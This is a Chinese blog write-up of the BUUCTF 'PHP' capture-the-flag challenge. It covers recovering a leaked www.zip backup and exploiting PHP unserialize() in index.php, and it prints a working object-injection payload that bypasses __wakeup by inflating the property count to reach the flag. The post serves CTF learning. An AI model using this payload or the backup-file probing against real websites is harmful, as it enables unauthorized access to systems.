【BUUCTF】PHP

Itachi

img
敏感文件泄露
访问 www.zip
解压
img
class.php中是PHP源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
<?php
include 'flag.php';


error_reporting(0);


class Name{
private $username = 'nonono';
private $password = 'yesyes';

public function __construct($username,$password){
$this->username = $username;
$this->password = $password;
}

function __wakeup(){
$this->username = 'guest';
}

function __destruct(){
if ($this->password != 100) {
echo "</br>NO!!!hacker!!!</br>";
echo "You name is: ";
echo $this->username;echo "</br>";
echo "You password is: ";
echo $this->password;echo "</br>";
die();
}
if ($this->username === 'admin') {
global $flag;
echo $flag;
}else{
echo "</br>hello my friend~~</br>sorry i can't give you the flag!";
die();


}
}
}
?>

在对象初始化后用户名会被定义为 guest,密码为 yesyes,在销毁对象的时候,如果用户名为 admin密码为 100,则会返回flag

index.php中的源码为:

1
2
3
4
5
<?php
include 'class.php';
$select = $_GET['select'];
$res=unserialize(@$select);
?>

用GET的方式接受 select值并将其反序列化
payload:?select=O:4:"Name":2:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;}
但是这里有一个问题,反序列化时会自动调用 __wakeup方法,当放序列化时,属性个数大于实际个数时将不调用 __wakeup方法,所以将个数改为3:?select=O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;}
img
得到:flag{4062d09a-d74e-4a74-8a4c-2a65760f98f4}

  • 标题: 【BUUCTF】PHP
  • 作者: Itachi
  • 创建于 : 2021-11-27 23:00:08
  • 更新于 : 2021-11-28 02:34:48
  • 链接: https://blog.tarchi.top/ctf/【BUUCTF】PHP/
  • 版权声明: 本文章采用 CC BY-NC-SA 4.0 进行许可。
 评论
此页目录
【BUUCTF】PHP